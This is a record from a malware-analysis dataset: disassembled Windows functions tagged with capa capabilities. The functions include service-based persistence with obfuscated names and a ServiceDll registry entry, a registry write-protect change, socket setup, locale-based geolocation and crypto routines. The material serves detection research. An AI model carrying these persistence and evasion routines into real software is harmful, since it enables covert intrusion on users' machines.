joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10075440
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1009a344
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x100d4254]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0x33
push str.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl
call dword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____cdecl_QString::fromAscii_helper_char_const___int_]
add esp, 8
mov dword [esp + 4], eax
push 0
push 0
lea eax, [esp + 0xc]
mov dword [esp + 0x30], 0
push eax
lea ecx, [esp + 0x14]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QSettings::constructor_class_QString_const___enum_QSettings::Format__class_QObject__]
push dword [esp + 0x30]
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 1
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QVariant::constructor_int_]
push 0x22
push str.StorageDevicePolicies_WriteProtect
mov byte [esp + 0x30], 2
call dword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____cdecl_QString::fromAscii_helper_char_const___int_]
add esp, 8
mov dword [esp + 0x30], eax
lea eax, [esp + 0x10]
mov byte [esp + 0x28], 3
push eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x10]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QSettings::setValue_class_QString_const___class_QVariant_const__]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 2
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QVariant::destructor_void_]
lea ecx, [esp + 8]
mov byte [esp + 0x28], 0
call dword [sym.imp.Qt5Core.dll_public_virtual:_void___thiscall_QSettings::destructor_void_]
lea ecx, [esp + 4]
mov dword [esp + 0x28], 0xffffffff
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QString::destructor_void_]
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
add esp, 0x28
ret 4
Function at 0x10077f50
Capabilities:
Read file via mapping

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 4], 0
jne 0x10077ffc
cmp byte [0x100d6348], 0
je 0x10077f6e
push dword [0x100d6358]
jmp 0x10077f74
push dword [0x100d634c]
push 0
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [esi + 4], eax
test eax, eax
jne 0x10077fea
cmp byte [0x100d6348], al
je 0x10077f95
push dword [0x100d6358]
jmp 0x10077f9b
push dword [0x100d634c]
push 0x28a4
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esi + 4]
test eax, eax
je 0x10077fe0
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x28a4
push 0
push eax
mov dword [esi + 8], eax
call sub.MSVCR120.dll_memset
add esp, 0xc
xor eax, eax
cmp dword [esi + 4], eax
pop esi
setne al
ret
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 8], eax
mov al, 1
pop esi
ret

Function at 0x10078000
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push 0xffffffffffffffff
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push dword [esp + 0x10]
call dword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromWCharArray_wchar_t_const___int_]
mov eax, dword [esp + 0x14]
add esp, 0x10
ret
Function at 0x100799b0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x1009abda
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100d4254]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov dword [esp + 0x14], 0
mov ebp, dword [esp + 0x28]
mov ecx, ebp
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QByteArray::constructor_void_]
mov ebx, dword [esp + 0x2c]
mov ecx, ebp
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], 1
mov eax, dword [ebx]
push dword [eax + 4]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QByteArray::resize_int_]
mov ecx, ebx
call dword [sym.imp.Qt5Core.dll_public:_char_const____thiscall_QByteArray::begin_void_const]
mov ecx, ebp
mov esi, eax
call dword [sym.imp.Qt5Core.dll_public:_char____thiscall_QByteArray::begin_void_]
mov ecx, ebx
mov edi, eax
call dword [sym.imp.Qt5Core.dll_public:_char_const____thiscall_QByteArray::end_void_const]
cmp esi, eax
je 0x10079a46
sub edi, esi
lea esp, [esp]
mov cl, byte [esi]
xor cl, byte [esp + 0x30]
mov byte [edi + esi], cl
mov ecx, ebx
inc esi
call dword [sym.imp.Qt5Core.dll_public:_char_const____thiscall_QByteArray::end_void_const]
cmp esi, eax
jne 0x10079a30
mov eax, ebp
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x1007a410
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x1009ae58
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x100d4254]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push 0
push 0x100d3c90
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QMetaObject::activate_class_QObject___struct_QMetaObject_const___int__void___]
mov esi, dword [esp + 0x30]
add esp, 0x10
mov dword [esp + 0x18], 0xffffffff
mov eax, dword [esi]
test eax, eax
je 0x1007a48b
cmp eax, 0xffffffff
je 0x1007a4ae
or eax, 0xffffffff
lock xadd dword [esi], eax
setne al
test al, al
jne 0x1007a4ae
mov esi, dword [esp + 0x20]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1007a4a4
call fcn.1000a750
push 8
push dword [esi + 0xc]
mov ecx, esi
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QMapDataBase::freeTree_struct_QMapNodeBase___int_]
push esi
call dword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QMapDataBase::freeData_struct_QMapDataBase__]
add esp, 4
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret 4
Function at 0x1007a4d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x1009ae58
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x100d4254]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push 1
push 0x100d3c90
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QMetaObject::activate_class_QObject___struct_QMetaObject_const___int__void___]
mov esi, dword [esp + 0x30]
add esp, 0x10
mov dword [esp + 0x18], 0xffffffff
mov eax, dword [esi]
test eax, eax
je 0x1007a54b
cmp eax, 0xffffffff
je 0x1007a56e
or eax, 0xffffffff
lock xadd dword [esi], eax
setne al
test al, al
jne 0x1007a56e
mov esi, dword [esp + 0x20]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1007a564
call fcn.1000a750
push 8
push dword [esi + 0xc]
mov ecx, esi
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QMapDataBase::freeTree_struct_QMapNodeBase___int_]
push esi
call dword [sym.imp.Qt5Core.dll_public:_static_void___cdecl_QMapDataBase::freeData_struct_QMapDataBase__]
add esp, 4
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret 4

Function at 0x1007e7c0
Capabilities:
Create thread
Resume thread

Disassembly:
push esi
push 0xc
call fcn.1007e1d0
mov esi, eax
add esp, 4
test esi, esi
jne 0x1007e7d8
mov eax, 0xfffff027
pop esi
ret
mov eax, dword [esp + 0xc]
push edi
push 0
push 4
push esi
push 0x1007e440
mov dword [esi], eax
mov eax, dword [esp + 0x24]
push 0
push 0
mov dword [esi + 4], eax
call dword [sym.imp.MSVCR120.dll__beginthreadex]
mov ecx, eax
add esp, 0x18
test ecx, ecx
jne 0x1007e821
call dword [sym.imp.MSVCR120.dll__errno]
push esi
mov edi, dword [eax]
call fcn.1007e1b0
add esp, 4
cmp edi, 0x16
jbe 0x1007e833
pop edi
mov eax, 0xfffff01a
pop esi
ret
mov eax, dword [esp + 0xc]
xor edi, edi
push ecx
mov dword [eax], ecx
mov dword [esi + 8], ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
movzx eax, byte [edi + 0x1007e874]
jmp dword [eax*4 + 0x1007e860]
Function at 0x1007f6b0
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
sub esp, 0x40c
mov eax, dword [0x100d4254]
xor eax, esp
mov dword [esp + 0x408], eax
lea eax, [esp + 0x278]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1007f82c
push 0x100d8de0
push eax
push str.0.0.0.0
call fcn.1007e1e0
add esp, 0xc
test eax, eax
je 0x1007f6fc
call dword [sym.imp.MSVCR120.dll_abort]
push 0x100d8dc0
push 0
push 0x100af5b4
call fcn.1007e220
add esp, 0xc
test eax, eax
je 0x1007f71a
call dword [sym.imp.MSVCR120.dll_abort]
push esi
push edi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0xffffffff
je 0x1007f78c
lea eax, [esp + 8]
mov dword [esp + 8], 0x274
push eax
lea eax, [esp + 0x10]
push eax
push 0x2005
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x1007f837
test dword [esp + 0xc], 0x20000
mov ecx, 1
mov eax, dword [0x100d8df4]
cmove eax, ecx
push edi
mov dword [0x100d8df4], eax
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x1007f79f
jmp 0x1007f848
call esi
push eax
call fcn.1007f680
add esp, 4
test eax, eax
je 0x1007f859
push 0
push 1
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x1007f806
lea eax, [esp + 8]
mov dword [esp + 8], 0x274
push eax
lea eax, [esp + 0x10]
push eax
push 0x2005
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_getsockopt]
cmp eax, 0xffffffff
je 0x1007f866
test dword [esp + 0xc], 0x20000
mov ecx, 1
mov eax, dword [0x100d8df0]
cmove eax, ecx
push edi
mov dword [0x100d8df0], eax
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x1007f815
jmp 0x1007f873
call esi
push eax
call fcn.1007f680
add esp, 4
test eax, eax
je 0x1007f880
mov ecx, dword [esp + 0x410]
pop edi
pop esi
xor ecx, esp
call fcn.10086f4e
add esp, 0x40c
ret
push str.WSAStartup
push eax
call fcn.1007ec70
push str.getsockopt
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.1007ec70
push str.closesocket
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.1007ec70
push str.socket
call esi
push eax
call fcn.1007ec70
push str.getsockopt
call esi
push eax
call fcn.1007ec70
push str.closesocket
call esi
push eax
call fcn.1007ec70
push str.socket
call esi
push eax
call fcn.1007ec70
int3
Function at 0x10082530
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x1008253c
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.10082550

Function at 0x10082820
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10082830
Function at 0x10084ad0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
sub esp, 0x808
mov eax, dword [0x100d4254]
xor eax, esp
mov dword [esp + 0x804], eax
push ebx
push ebp
push esi
push edi
xor esi, esi
mov edx, 1
nop
mov eax, edx
mov dword [esp + esi*4 + 0x414], edx
and al, 0x80
mov dword [esp + edx*4 + 0x14], esi
movsx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
inc esi
and ecx, 0x1b
xor ecx, eax
xor edx, ecx
and edx, 0xff
cmp esi, 0x100
jl 0x10084af0
mov esi, 1
mov edx, 0x100d8a58
lea esp, [esp]
mov eax, esi
mov dword [edx], esi
and al, 0x80
movsx ecx, al
neg ecx
sbb ecx, ecx
add esi, esi
and ecx, 0x1b
add edx, 4
xor esi, ecx
and esi, 0xff
cmp edx, 0x100d8a80
jl 0x10084b30
mov eax, 1
mov byte [0x100d6858], 0x63
mov byte [0x100d79bb], 0
mov dword [esp + 0x10], eax
lea esp, [esp]
mov ecx, dword [esp + eax*4 + 0x14]
lea eax, [esp + 0x810]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
and ecx, 0xff
mov edx, ecx
xor ebx, ecx
sar edx, 7
lea eax, [ecx + ecx]
or edx, eax
and edx, 0xff
mov esi, edx
xor ebx, edx
sar esi, 7
lea eax, [edx + edx]
or esi, eax
and esi, 0xff
mov ecx, esi
sar ecx, 7
lea eax, [esi + esi]
or ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, 0x63
and ecx, 0xff
xor ecx, esi
xor ebx, ecx
mov byte [eax + 0x100d6858], bl
mov byte [ebx + 0x100d7958], al
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x100
jl 0x10084b70
xor esi, esi
mov ebp, 0xff
movzx edx, byte [esi + 0x100d6858]
mov eax, edx
and al, 0x80
movsx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
and ecx, 0xff
mov eax, ecx
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, ecx
movzx ecx, byte [esi + 0x100d7958]
mov dword [esi*4 + 0x100d6958], eax
rol eax, 8
mov dword [esi*4 + 0x100d6d58], eax
rol eax, 8
mov dword [esi*4 + 0x100d7158], eax
rol eax, 8
mov dword [esi*4 + 0x100d7558], eax
test ecx, ecx
je 0x10084c9e
mov ecx, dword [esp + ecx*4 + 0x14]
mov eax, dword [esp + 0x4c]
add eax, ecx
cdq
idiv ebp
mov eax, dword [esp + 0x38]
add eax, ecx
mov edi, dword [esp + edx*4 + 0x414]
cdq
idiv ebp
mov eax, dword [esp + 0x48]
add eax, ecx
mov ebx, dword [esp + edx*4 + 0x414]
cdq
idiv ebp
mov eax, dword [esp + 0x40]
add eax, ecx
mov ecx, 0xff
mov ebp, dword [esp + edx*4 + 0x414]
cdq
idiv ecx
mov eax, dword [esp + edx*4 + 0x414]
jmp 0x10084ca6
xor edi, edi
xor ebx, ebx
xor ebp, ebp
xor eax, eax
shl eax, 8
xor eax, ebp
mov ebp, 0xff
shl eax, 8
xor eax, ebx
shl eax, 8
xor eax, edi
mov dword [esi*4 + 0x100d7a58], eax
rol eax, 8
mov dword [esi*4 + 0x100d7e58], eax
rol eax, 8
mov dword [esi*4 + 0x100d8258], eax
rol eax, 8
mov dword [esi*4 + 0x100d8658], eax
inc esi
cmp esi, 0x100
jl 0x10084bf0
mov ecx, dword [esp + 0x814]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10086f4e
add esp, 0x808
ret
Function at 0x10086660
Capabilities:
Encrypt data using salsa20 or chacha
Enumerate pe sections

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x100867a7
mov edx, dword [esp + 0xc]
test edx, edx
je 0x100867a7
mov dword [esi], 0x61707865
mov dword [esi + 4], 0x3320646e
mov dword [esi + 8], 0x79622d32
mov dword [esi + 0xc], 0x6b206574
movzx ecx, byte [edx + 3]
shl ecx, 8
movzx eax, byte [edx + 2]
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x10], ecx
movzx ecx, byte [edx + 7]
shl ecx, 8
movzx eax, byte [edx + 6]
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x14], ecx
movzx ecx, byte [edx + 0xb]
movzx eax, byte [edx + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 8]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x18], ecx
movzx ecx, byte [edx + 0xf]
movzx eax, byte [edx + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0xc]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x1c], ecx
movzx ecx, byte [edx + 0x13]
movzx eax, byte [edx + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x10]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x20], ecx
movzx ecx, byte [edx + 0x17]
movzx eax, byte [edx + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x14]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x24], ecx
movzx ecx, byte [edx + 0x1b]
movzx eax, byte [edx + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x18]
shl ecx, 8
or ecx, eax
mov dword [esi + 0x28], ecx
movzx ecx, byte [edx + 0x1f]
movzx eax, byte [edx + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 0x1c]
shl ecx, 8
or ecx, eax
xor eax, eax
mov dword [esi + 0x2c], ecx
pop esi
ret
mov eax, 0xffffffaf
pop esi
ret
Function at 0x10086860
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
xor ebp, ebp
test edi, edi
jne 0x10086878
pop edi
lea eax, [ebp - 0x51]
pop ebp
add esp, 0xc
ret
push ebx
mov ebx, dword [esp + 0x20]
push esi
test ebx, ebx
je 0x100868c3
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100869d6
mov edx, dword [esp + 0x2c]
test edx, edx
je 0x100869d6
mov esi, eax
mov ecx, edx
sub esi, edx
mov edx, dword [edi + 0x80]
cmp edx, 0x40
jae 0x100868c3
mov al, byte [esi + ecx]
inc ebp
xor al, byte [edx + edi + 0x40]
mov byte [ecx], al
inc ecx
inc dword [edi + 0x80]
dec ebx
mov dword [esp + 0x24], ebx
jne 0x100868a0
cmp ebx, 0x40
jb 0x1008698c
lea eax, [edi + 0x41]
mov dword [esp + 0x14], eax
lea edx, [edi + 0x40]
mov eax, dword [esp + 0x28]
mov ecx, eax
sub ecx, dword [esp + 0x2c]
mov dword [esp + 0x18], ecx
lea esi, [eax + 2]
mov eax, ebx
add esi, ebp
shr eax, 6
mov dword [esp + 0x10], eax
push edx
push edi
call fcn.10086320
inc dword [edi + 0x30]
add esp, 8
mov eax, dword [esp + 0x2c]
mov edi, 8
mov edx, dword [esp + 0x14]
add eax, ebp
mov ebx, dword [esp + 0x18]
movzx ecx, byte [eax + ebx]
lea eax, [eax + 8]
xor cl, byte [edx - 1]
lea edx, [edx + 8]
mov byte [eax - 8], cl
movzx ecx, byte [esi - 1]
xor cl, byte [edx - 8]
mov byte [eax - 7], cl
movzx ecx, byte [edx - 7]
xor cl, byte [esi]
mov byte [eax - 6], cl
movzx ecx, byte [edx - 6]
xor cl, byte [esi + 1]
mov byte [eax - 5], cl
movzx ecx, byte [edx - 5]
xor cl, byte [esi + 2]
mov byte [eax - 4], cl
movzx ecx, byte [edx - 4]
xor cl, byte [esi + 3]
mov byte [eax - 3], cl
movzx ecx, byte [edx - 3]
xor cl, byte [esi + 4]
mov byte [eax - 2], cl
movzx ecx, byte [edx - 2]
xor cl, byte [esi + 5]
add esi, 8
mov byte [eax - 1], cl
dec edi
jne 0x10086912
mov ebx, dword [esp + 0x24]
add ebp, 0x40
mov edi, dword [esp + 0x20]
sub ebx, 0x40
dec dword [esp + 0x10]
mov dword [esp + 0x24], ebx
lea edx, [edi + 0x40]
jne 0x100868f2
test ebx, ebx
je 0x100869cc
lea esi, [edi + 0x40]
push esi
push edi
call fcn.10086320
inc dword [edi + 0x30]
add esp, 8
xor edx, edx
test ebx, ebx
je 0x100869c6
mov edi, dword [esp + 0x28]
sub edi, dword [esp + 0x2c]
add ebp, dword [esp + 0x2c]
lea ecx, [edx + ebp]
mov al, byte [edi + ecx]
xor al, byte [esi + edx]
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x100869b2
mov edi, dword [esp + 0x20]
mov dword [edi + 0x80], ebx
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret
pop esi
pop ebx
pop edi
mov eax, 0xffffffaf
pop ebp
add esp, 0xc
ret
Function at 0x404770
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4047d6
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403b14
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004029a0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4047c0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4047dd
lea eax, [ebp - 0x10]
call fcn.004038b0
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.fKJL_Gsfju_Wzvg
push str._AJE._Gugkw_Rww__b
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x10016be0
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str._AJE._Gugkw_Rww__b
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._AJE._Gugkw_Rww__b
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._AlohgkQplewbiGkhfv_slf_rwg
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._AlohgkQplewbiGkhfv_slf_rwg
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret